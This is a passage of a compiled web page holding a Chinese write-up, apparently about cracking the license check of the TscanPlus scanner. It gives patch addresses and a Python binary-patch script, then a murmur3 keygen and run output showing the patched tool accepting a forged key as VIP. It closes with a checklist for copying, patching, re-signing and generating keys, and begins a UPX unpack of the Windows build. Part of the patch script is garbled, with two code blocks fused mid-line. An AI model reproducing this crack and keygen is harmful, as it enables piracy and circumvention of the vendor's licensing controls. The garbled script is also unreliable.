",(0,s.jsx)(n.code,{children:"0x1004ad068"})]})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u8fc7\u671f\u5224\u65ad\uff08\u6c38\u4e0d\u8fc7\u671f\u8865\u4e01\u70b9\uff09"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.Qwprp5uSfv32rKY"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x100439230"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u7ed3\u679c\u6807\u5fd7"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.XrgIp0N_yO"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x100451b70"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:"\u663e\u793a\u5b57\u7b26\u4e32\u6765\u6e90\uff08\u8fd0\u884c\u65f6\u89e3\u7801\uff0c\u4e0d\u53ef\u9759\u6001\u6539\uff09"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"conf.UNXx_ve6"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10047f900"})})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["Key \u683c\u5f0f ",(0,s.jsx)(n.code,{children:"f1.f2.f3.f4.f5"}),"\uff0c\u6b63\u5219 ",(0,s.jsx)(n.code,{children:"^\\d+\\.\\d+\\.\\d+(\\.\\d+)?$"}),"\uff1a"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.code,{children:"f2 \u2264 30000"})}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"f3 < 1797379200"})," = ",(0,s.jsx)(n.code,{children:"0x6b21d480"})," \u2192 ",(0,s.jsx)(n.strong,{children:"2026-12-16"}),"\uff08\u6211\u65e9\u5148\u8bb0\u6210 2027-02-15\uff0c\u662f\u9519\u7684\uff0c\u8fd9\u91cc\u5df2\u6539\uff09"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"f5 \u2208 0..5"}),"\uff08\u80fd\u529b\u4f4d\uff09"]}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.code,{children:'f4 = fold(first8digits(murmur3_32_seed0("phase3"+f1))) ^ 6'})}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u6838\u5fc3\u5b57\u8282\u53d8\u6362\uff08\u53cd\u6c47\u7f16\u9a8c\u8bc1\uff09\uff1a",(0,s.jsx)(n.code,{children:"out[i] = ROR(in[i] ^ (19*i + seed), seed % 8) ^ (seed + i)"}),"\uff0c",(0,s.jsx)(n.code,{children:"Yal9faJZY[i] = i*19"}),"\uff0c\n",(0,s.jsx)(n.code,{children:"seed(k) = DL1UvTAsmAyf4zI[k] ^ 158"}),"\uff08g0=0x7a, g1=0x3b, g2=0x2e, g3=0x5d\uff09\uff1bC \u7cfb\u5217 getter \u7528\u56fa\u5b9a\u79cd\u5b50 156/143/125/126\u3002"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"2-\u65b9\u6cd5-b\u5206\u652f\u8865\u4e01\u6837\u672c-a\u5df2\u9a8c\u8bc1\u53ef\u7528",children:"2. \u65b9\u6cd5 B\uff1a\u5206\u652f\u8865\u4e01\uff08\u6837\u672c A\uff0c\u5df2\u9a8c\u8bc1\u53ef\u7528\uff09"}),"\n",(0,s.jsxs)(n.p,{children:["arm64 \u65e0\u6761\u4ef6\u8df3\u8f6c\uff1a",(0,s.jsx)(n.code,{children:"word = 0x14000000 | ((target - addr) / 4 & 0x3FFFFFF)"})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{children:"\u5730\u5740"}),(0,s.jsx)(n.th,{children:"\u539f\u6307\u4ee4"}),(0,s.jsx)(n.th,{children:"\u6539\u4e3a"}),(0,s.jsx)(n.th,{children:"\u6548\u679c"}),(0,s.jsx)(n.th,{children:"\u5199\u5165 word"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x102a89394"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"CBZ \u2192 0x102a893cc"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsx)(n.td,{children:'\u8df3\u8fc7"\u65e0\u6548\u7684Key"\u9519\u8bef\u5206\u652f'}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1400000e"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x102a893d4"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"CBZ \u2192 0x102a893d8"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsx)(n.td,{children:"\u5f3a\u5236\u8d70 VIP \u5206\u652f"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000001"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x102a893e0"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"TBZ \u2192 0x102a893f4"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"XrgIp0N_yO"})," \u7ed3\u679c\u88ab\u5ffd\u7565"]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000001"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1004aba58"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"CBZ \u2192 0x1004abaf8"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"CSfeFGrv"})," \u6298\u53e0\u6821\u9a8c\u8df3\u8fc7"]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000028"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x1004ad198"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"CBZ \u2192 0x1004ad238"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsxs)(n.td,{children:[(0,s.jsx)(n.code,{children:"RVNs3NL5L"})," IV \u6298\u53e0\u6821\u9a8c\u8df3\u8fc7"]}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000028"})})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x10043932c"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"TBNZ \u2192 0x100439370"})}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"B"})}),(0,s.jsx)(n.td,{children:"\u6c38\u4e0d\u8fc7\u671f"}),(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:"0x14000011"})})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["\u8865\u4e01\u811a\u672c\uff08",(0,s.jsx)(n.code,{children:"__text"})," \u6bb5\uff1a\u6587\u4ef6\u504f\u79fb = vaddr \u2212 0x100000000\uff09\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"import struct\nf = open('/tmp/ctf/tscan_plus','r+b'); base = 0x100000000\ndef patch(addr, target):\n imm = (target - addr) // 4\n f.seek(addr - base); f.write(struct.pack('>17) & 0xFFFFFFFF; k = (k*c1) & 0xFFFFFFFF\n h ^= k; h = (h<<13 | h>>19) & 0xFFFFFFFF; h = (h*5 + 0xe6546b64) & 0xFFFFFFFF\n h ^= len(data)\n h ^= h>>16; h = (h*0x85ebca6b) & 0xFFFFFFFF\n h ^= h>>13; h = (h*0xc2b2ae35) & 0xFFFFFFFF\n h ^= h>>16\n return h\n\ndef fold(s): # murmur3 \u5341\u8fdb\u5236\u7ed3\u679c\u524d 8 \u4f4d\u6309 base-16 \u89e3\u91ca\n return int(s[:8], 16)\n\ndef sig(f1, prefix="phase3"):\n return fold(str(murmur3_32((prefix + str(f1)).encode()))) ^ len(prefix)\n\nf1 = 12345\nprint(f"{f1}.12345.12345.{sig(f1)}.1") # -> 12345.12345.12345.658924676.1\n'})}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"4-\u8fd0\u884c\u9a8c\u8bc1\u6837\u672c-a",children:"4. \u8fd0\u884c\u9a8c\u8bc1\uff08\u6837\u672c A\uff09"}),"\n",(0,s.jsx)(n.p,{children:"\u539f\u59cb\u4e8c\u8fdb\u5236\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ ./tscan_plus -license 12345.12345.12345.658924676.1\n[ERROR] \u8ba4\u8bc1\u5931\u8d25: \u65e0\u6548\u7684Key (exit 1)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u7834\u89e3\u540e\uff08\u65b9\u6cd5 B + \u91cd\u7b7e\u540d\uff09\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ ./tscan_plus.cracked -license 12345.12345.12345.658924676.1\nVersion: 3.5.3 Expired: 2027.06.01 \u8ba4\u8bc1Vip\u7248\n[INFO] \u8ba4\u8bc1\u6210\u529f\uff0c\u7248\u672c\u7c7b\u578b: \u8ba4\u8bc1Vip\u7248\n[INFO] Vip\u72b6\u6001: 2027.06.01 (exit 0)\n"})}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"5-\u628a-vip\u72b6\u6001-\u8ba4\u8bc1\u5230-2099-\u5e74--\u6837\u672c-a-\u4e0a\u672a\u95ed\u5408\u539f\u56e0\u8bb0\u5f55",children:'5. "\u628a Vip\u72b6\u6001 \u8ba4\u8bc1\u5230 2099 \u5e74" \u2014\u2014 \u6837\u672c A \u4e0a\u672a\u95ed\u5408\uff0c\u539f\u56e0\u8bb0\u5f55'}),"\n",(0,s.jsx)(n.h3,{id:"51-\u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5\u6539\u5b57\u7b26\u4e32",children:"5.1 \u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5\u6539\u5b57\u7b26\u4e32"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5168\u6587\u4ef6\u5728\u7eaf\u6587\u672c\u3001XOR\u3001ADD\uff0c\u4ee5\u53ca ",(0,s.jsx)(n.code,{children:"sub_102B68A44"})," \u7684",(0,s.jsx)(n.strong,{children:"\u5b57\u8282\u5f62\u6001"}),"\u548c ",(0,s.jsx)(n.strong,{children:"int32-rune \u5f62\u6001"}),"\uff08\u53cd\u63a8 256 \u4e2a\u79cd\u5b50\uff09\u4e0b\u90fd\u641c\u4e0d\u5230 ",(0,s.jsx)(n.code,{children:"2027.06.01"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"Vip\u72b6\u6001"})," \u8d70 ",(0,s.jsx)(n.code,{children:"conf.UNXx_ve6"})," \u2192 ",(0,s.jsx)(n.code,{children:"*(string*)(ZptlguuF3yD5 + 24)"}),"\uff0c",(0,s.jsx)(n.code,{children:"ZptlguuF3yD5"})," \u662f ",(0,s.jsx)(n.code,{children:"conf.Init"})," \u8fd0\u884c\u65f6\u6784\u9020\u7684",(0,s.jsx)(n.strong,{children:"\u5806\u5bf9\u8c61"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u8be5\u5b57\u7b26\u4e32\u7531 ",(0,s.jsx)(n.code,{children:"conf.LdJuJbd0Sx07"})," \u628a 4 \u6bb5 garble \u7247\u6bb5\u89e3\u7801\u540e ",(0,s.jsx)(n.code,{children:"concatstring4"})," \u62fc\u51fa\uff1b",(0,s.jsx)(n.code,{children:"conf.init"})," \u91cc\u53e6\u4e00\u6761 ",(0,s.jsx)(n.code,{children:"UoEhcDLClOvs3(base64 @0x102DF13F1, 24)"})," \u8d70 ",(0,s.jsxs)(n.strong,{children:["AES-CBC\uff0ckey = IV = ",(0,s.jsx)(n.code,{children:"TIDETideTidEtide"})]}),"\uff08key = ",(0,s.jsx)(n.code,{children:"GWKfJgPdH0RoV8iN"})," \u7684\u56db\u6bb5 ",(0,s.jsx)(n.code,{children:"^0xD8"}),"\uff09\uff0c\u5f53\u524d blob ",(0,s.jsx)(n.code,{children:"XDO+lmEHawuskT+iyi2twg=="})," \u89e3\u51fa ",(0,s.jsx)(n.code,{children:"2028.01.01"}),"\uff1b\u628a ",(0,s.jsx)(n.code,{children:"2099.12.31"})," \u91cd\u65b0 PKCS7+CBC \u52a0\u5bc6\u5f97 ",(0,s.jsx)(n.code,{children:"xvUwHiQzJwM6INqkKCYNbw=="}),"\uff08\u6b63\u597d 24 \u5b57\u7b26\uff0c\u53ef\u539f\u5730\u8986\u76d6\uff09\u2014\u2014 \u4f46\u8fd9\u6761\u5199\u7684\u662f ",(0,s.jsx)(n.code,{children:"qword_10974DC20"})," \u90a3\u4e2a\u53d8\u91cf\uff0c",(0,s.jsx)(n.strong,{children:"\u4e0d\u662f"})," ",(0,s.jsx)(n.code,{children:"Vip\u72b6\u6001"})," \u7528\u7684\u90a3\u4e2a\uff0c\u6240\u4ee5\u663e\u793a\u4e0d\u53d8\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(n.h3,{id:"52-\u8bd5\u8fc7\u7684\u76f4\u8defruntimeprintstring\u4e0e\u5931\u8d25\u539f\u56e0",children:['5.2 \u8bd5\u8fc7\u7684"\u76f4\u8def"\uff08',(0,s.jsx)(n.code,{children:"runtime.printstring"}),"\uff09\u4e0e\u5931\u8d25\u539f\u56e0"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728 ",(0,s.jsx)(n.code,{children:"runLicenseCheck"})," \u7684 9 \u4e2a\u6307\u4ee4\u69fd ",(0,s.jsx)(n.code,{children:"0x102a89420..0x102a89440"})," \u6539\u6210\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-asm",children:"movabs x0, ; 'Vip\u72b6\u6001: 2099.12.31\\n'\uff0822B\uff0c\u4f4d\u4e8e __rodata \u672a\u88ab\u5f15\u7528\u7684 61B \u7a7a\u9699 0x102F006F6\uff09\nmov x1, #22\nbl runtime.printstring\nnop; nop; nop; nop\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u7f16\u7801\u5df2\u9010\u6761\u7528 capstone \u53cd\u6c47\u7f16\u6821\u9a8c\uff08",(0,s.jsx)(n.code,{children:"ADRP"}),": ",(0,s.jsx)(n.code,{children:"immlo"})," \u5728 bit 29\u201330\u3001",(0,s.jsx)(n.code,{children:"immhi"})," \u5728 bit 5\u201323\u3001Rd \u5728 bit 4\u20130\uff1b",(0,s.jsx)(n.code,{children:"BL"}),": ",(0,s.jsx)(n.code,{children:"0x94000000 | (imm & 0x3FFFFFF)"}),"\uff0cimm \u5fc5\u987b\u6309 ",(0,s.jsx)(n.code,{children:"bl"})," \u81ea\u8eab\u5730\u5740\u8ba1\u7b97\uff1b",(0,s.jsx)(n.code,{children:"MOVZ/MOVK"})," \u57fa\u503c ",(0,s.jsx)(n.code,{children:"0xD2800000"})," / ",(0,s.jsx)(n.code,{children:"0xF2800000 + hw<<21"}),"\uff09\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5b9e\u6d4b\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\u7528 IDA \u540d\u5b57\u91cc\u7684 ",(0,s.jsx)(n.code,{children:"runtime.printstring"}),"\uff08",(0,s.jsx)(n.code,{children:"0x1000492c0"}),"\uff09\u2192 ",(0,s.jsx)(n.code,{children:"fatal error: unexpected signal during runtime execution"}),"\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:["\u7528\u8fd0\u884c\u671f\u56de\u6eaf\u91cc\u771f\u6b63\u7684 ",(0,s.jsx)(n.code,{children:"runtime.printstring"}),"\uff08",(0,s.jsx)(n.code,{children:"0x10076d2c0"}),"\uff09\u2192 ",(0,s.jsx)(n.code,{children:"SIGSEGV code=0x2 addr=0x102f00700"}),"\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u539f\u56e0\uff1a",(0,s.jsx)(n.code,{children:"0x10076d2c0"})," \u4f1a\u6267\u884c ",(0,s.jsx)(n.code,{children:"str x1, [x0, #0x18]"}),"\uff08\u628a\u7c7b\u578b\u6307\u9488\u5199\u8fdb ",(0,s.jsx)(n.code,{children:"x0"}),"\uff09\u2014\u2014 \u5b83\u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u5f53\u4f5c",(0,s.jsxs)(n.strong,{children:["\u53ef\u5199\u7684 ",(0,s.jsx)(n.code,{children:"*String"})," \u5934"]}),"\uff0c\u800c ",(0,s.jsx)(n.code,{children:"__rodata"})," / ",(0,s.jsx)(n.code,{children:"__DATA_CONST"})," \u8fd0\u884c\u65f6\u53ea\u8bfb \u21d2 \u4efb\u4f55\u6307\u5411 rodata \u7684\u5b57\u7b26\u4e32\u90fd\u4f1a\u5d29\u3002",(0,s.jsx)(n.code,{children:"__bss"}),"\uff08",(0,s.jsx)(n.code,{children:"0x109744DE0"})," \u8d77\uff09\u53ef\u5199\u4f46\u6587\u4ef6\u91cc ",(0,s.jsx)(n.code,{children:"offset 0"}),"\u3001\u6ca1\u6709\u9759\u6001\u5185\u5bb9\u53ef\u9884\u586b \u21d2 \u9759\u6001\u8865\u4e01\u7ed9\u4e0d\u51fa\u53ef\u5199\u7684 ",(0,s.jsx)(n.code,{children:"String"})," \u5934\u3002\u8981\u6210\u7acb\u5fc5\u987b\u8ba9\u5934\u843d\u5728\u8fd0\u884c\u65f6\u5806\u4e0a\uff08\u590d\u523b ",(0,s.jsx)(n.code,{children:"concatstrings"})," \u7684 alloc\uff09\uff0c\u7eaf\u9759\u6001\u8865\u4e01\u505a\u4e0d\u5230\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"53-\u6837\u672c-a-\u4e0a\u82e5\u4ecd\u8981-2099\u53ea\u6709\u4e24\u6761\u8def",children:"5.3 \u6837\u672c A \u4e0a\u82e5\u4ecd\u8981 2099\uff0c\u53ea\u6709\u4e24\u6761\u8def"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u6570\u636e\u5c42"}),"\uff1a\u5b8c\u6574\u590d\u523b ",(0,s.jsx)(n.code,{children:"TH_VJih0zt"})," \u7684\u9010\u6bb5\u79cd\u5b50/\u957f\u5ea6\u903b\u8f91\uff08\u79cd\u5b50\u8868\u4e0e\u957f\u5ea6\u6765\u81ea\u8fd0\u884c\u65f6 relocation\uff0c\u9700\u8981\u52a8\u6001\u786e\u8ba4\uff09\uff0c\u628a ",(0,s.jsx)(n.code,{children:"LdJuJbd0Sx07"})," \u7684 4 \u6bb5\u91cd\u65b0\u7f16\u7801\u6210 ",(0,s.jsx)(n.code,{children:"2099"}),"/",(0,s.jsx)(n.code,{children:".12"}),"/",(0,s.jsx)(n.code,{children:"."}),"/",(0,s.jsx)(n.code,{children:"31"}),"\uff0c\u539f\u5730\u8986\u76d6 \u2192 ",(0,s.jsx)(n.code,{children:"Expired"})," \u548c ",(0,s.jsx)(n.code,{children:"Vip\u72b6\u6001"})," \u4f1a\u540c\u65f6\u53d8\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u52a8\u6001\u786e\u8ba4"}),"\uff1a",(0,s.jsx)(n.code,{children:"lldb"})," \u65ad\u5728 ",(0,s.jsx)(n.code,{children:"runtime.printstring"})," / ",(0,s.jsx)(n.code,{children:"runtime.convTstring"}),"\uff0c\u628a\u8fd0\u884c\u65f6\u771f\u6b63\u4f7f\u7528\u7684 ",(0,s.jsx)(n.code,{children:"ZptlguuF3yD5+24"})," \u6253\u51fa\u6765\uff0c\u518d\u53cd\u63a8 4 \u6bb5\u7f16\u7801\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"6-\u590d\u73b0\u6e05\u5355",children:"6. \u590d\u73b0\u6e05\u5355"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.code,{children:"cp /tmp/ctf/tscan_plus /tmp/ctf_crack/tscan_plus.cracked"})}),"\n",(0,s.jsxs)(n.li,{children:["\u6309\u7b2c 2 \u8282\u5199 6 \u4e2a ",(0,s.jsx)(n.code,{children:"B"})," \u6307\u4ee4\uff08\u7528 capstone \u9010\u6761\u6821\u9a8c imm\uff09"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"codesign --remove-signature"})," + ",(0,s.jsx)(n.code,{children:"codesign -s - --force"})]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"keygen.py"})," \u9020 key\uff0c\u8fd0\u884c ",(0,s.jsx)(n.code,{children:"-license"})," \u9a8c\u8bc1"]}),"\n"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"7-\u5de5\u5177\u4e0e\u76ee\u5f55\u7ea6\u5b9a\u4e3a\u4ec0\u4e48\u811a\u672c\u548c\u6570\u636e\u5206\u5f00\u653e",children:"7. \u5de5\u5177\u4e0e\u76ee\u5f55\u7ea6\u5b9a\uff08\u4e3a\u4ec0\u4e48\u811a\u672c\u548c\u6570\u636e\u5206\u5f00\u653e\uff09"}),"\n",(0,s.jsxs)(n.p,{children:["\u89c4\u5219\u662f\uff1a",(0,s.jsx)(n.strong,{children:"\u4e0b\u8f7d/\u89e3\u5305\u7684\u4e0d\u53ef\u4fe1\u6570\u636e\u5404\u81ea\u72ec\u5360\u4e00\u4e2a\u7a7a\u76ee\u5f55\uff0c\u81ea\u5df1\u5199\u7684\u811a\u672c\u653e\u5728\u53e6\u4e00\u4e2a\u76ee\u5f55"}),"\uff08\u89e3\u91ca\u5668\u4f1a\u4ece\u811a\u672c\u6240\u5728\u76ee\u5f55\u548c\u5f53\u524d\u76ee\u5f55\u52a0\u8f7d\u4ee3\u7801\uff0c\u4e00\u4e2a planted ",(0,s.jsx)(n.code,{children:"json.py"})," \u4f1a\u5728 ",(0,s.jsx)(n.code,{children:"import json"})," \u65f6\u6267\u884c\uff09\u3002\u6240\u4ee5\u6837\u672c\u5728 ",(0,s.jsx)(n.code,{children:"/tmp/ctf/"}),"\u3001\u4ea7\u7269\u5728 ",(0,s.jsx)(n.code,{children:"/tmp/ctf_crack/"}),"\u3001\u811a\u672c\u5728 ",(0,s.jsx)(n.code,{children:"/tmp/ctf_work/"}),"\uff0c\u8bfb\u6570\u636e\u7684 Python \u4e00\u5f8b ",(0,s.jsx)(n.code,{children:"python3 -I"}),"\u3002"]}),"\n",(0,s.jsx)(n.hr,{}),"\n",(0,s.jsx)(n.h2,{id:"8-windows-\u7248\u6837\u672c-c-ida-\u91cc\u770b\u4e0d\u5230\u51fd\u6570\u5b57\u7b26\u4e32\u7684\u539f\u56e0\u4e0e\u7834\u89e3",children:"8. Windows \u7248\uff08\u6837\u672c C\uff09\u2014\u2014 IDA \u91cc\u770b\u4e0d\u5230\u51fd\u6570/\u5b57\u7b26\u4e32\u7684\u539f\u56e0\u4e0e\u7834\u89e3"}),"\n",(0,s.jsx)(n.h3,{id:"81-\u4e3a\u4ec0\u4e48-ida-\u7684-idb-\u662f\u7a7a\u7684",children:"8.1 \u4e3a\u4ec0\u4e48 IDA \u7684 IDB \u662f\u7a7a\u7684"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"~/Downloads/TscanPlus_Win_Amd64/TscanPlus_Win_Amd64.exe"})," \u662f ",(0,s.jsx)(n.strong,{children:"UPX \u52a0\u58f3"}),"\u7684 Go PE\uff08\u6bb5\u540d ",(0,s.jsx)(n.code,{children:"UPX0"}),"/",(0,s.jsx)(n.code,{children:"UPX1"}),"\uff0c",(0,s.jsx)(n.code,{children:"UPX0"})," rawsize=0\uff09\u3002\u6240\u4ee5 IDA \u91cc\u53ea\u6709 ",(0,s.jsx)(n.code,{children:"start"}),"\u3001",(0,s.jsx)(n.code,{children:"list_strings_filter"})," \u5168\u7a7a \u2014\u2014 pclntab \u548c\u4ee3\u7801\u90fd\u8fd8\u5728\u538b\u7f29\u6d41\u91cc\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u89e3\u5305\uff08\u6807\u51c6 UPX\uff0c\u53ef\u76f4\u63a5 ",(0,s.jsx)(n.code,{children:"upx -d"}),"\uff09\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sh",children:"upx -d exe.orig -o exe.unpacked # 42,532,152 -> 135,535,928\uff0cwin64/pe\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u89e3\u5305\u540e\uff1aGo ",(0,s.jsx)(n.strong,{children:"1.25.10"})," / amd64\uff0c\u540c\u6837\u662f garble \u6df7\u6dc6\uff08",(0,s.jsx)(n.code,{children:"bogus error 2"}),"\u3001",(0,s.jsx)(n.code,{children:"BogusInterface"}),"\u3001",(0,s.jsx)(n.code,{children:"selfcheck: hash mismatch"}),"\u3001",(0,s.jsx)(n.code,{children:"bogus_hardware"}),"\u3001",(0,s.jsx)(n.code,{children:"bogus_data"})," \u662f\u5b83\u7684\u81ea\u4e00\u81f4\u6027\u6821\u9a8c\u4e0e\u8bf1\u9975\u5206\u652f\uff09\u3002\n",(0,s.jsx)(n.code,{children:"go tool nm"})," \u5bf9\u8fd9\u4e2a\u6587\u4ef6\u62a5 ",(0,s.jsx)(n.code,{children:"no symbols"}),"\uff08Go 1.25 \u7684 pclntab \u5e03\u5c40 + PE \u65e0 COFF \u7b26\u53f7\u8868\uff0cobjfile \u8bfb\u4e0d\u5230\uff09\uff0c\u6240\u4ee5\u51fd\u6570\u540d\u53ea\u80fd\u9760 ",(0,s.jsxs)(n.strong,{children:[(0,s.jsx)(n.code,{children:".pdata"}),"\uff08PE exception table\uff09"]})," \u62ff\u8fb9\u754c\uff1a\u6bcf\u6761 12 \u5b57\u8282 ",(0,s.jsx)(n.code,{children:"{BeginRVA, EndRVA, UnwindRVA}"}),"\uff0c30678 \u4e2a\u51fd\u6570\uff0c\u8fb9\u754c\u5b8c\u6574\u53ef\u7528\uff1b\u518d\u914d capstone \u53cd\u6c47\u7f16\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u6bb5\u8868\uff08\u89e3\u5305\u540e\uff09\uff1a"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{children:"\u6bb5"}),(0,s.jsx)(n.th,{children:"vaddr(RVA)"}),(0,s.jsx)(n.th,{children:"vsize"}),(0,s.jsx)(n.th,{children:"raw"}),(0,s.jsx)(n.th,{children:"rawsize"})]})}),(0,s.jsxs)(n.tbody,{children:[(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:".text"})}),(0,s.jsx)(n.td,{children:"0x1000"}),(0,s.jsx)(n.td,{children:"0x27504a0"}),(0,s.jsx)(n.td,{children:"0x400"}),(0,s.jsx)(n.td,{children:"0x2750600"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:".rdata"})}),(0,s.jsx)(n.td,{children:"0x2d2f000"}),(0,s.jsx)(n.td,{children:"0x52082d0"}),(0,s.jsx)(n.td,{children:"0x2d2ce00"}),(0,s.jsx)(n.td,{children:"0x5208400"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:".pdata"})}),(0,s.jsx)(n.td,{children:"0x7f39000"}),(0,s.jsx)(n.td,{children:"0xe6088"}),(0,s.jsx)(n.td,{children:"0x7f35400"}),(0,s.jsx)(n.td,{children:"0xe6200"})]}),(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{children:(0,s.jsx)(n.code,{children:".bss"})}),(0,s.jsx)(n.td,{children:"0x8027000"}),(0,s.jsx)(n.td,{children:"0xa5c20"}),(0,s.jsx)(n.td,{children:"\u2014"}),(0,s.jsx)(n.td,{children:"\u2014"})]})]})]}),"\n",(0,s.jsxs)(n.p,{children:["imagebase ",(0,s.jsx)(n.code,{children:"0x140000000"}),"\uff0c",(0,s.jsx)(n.code,{children:"file offset = vaddr - 0x140000000 - 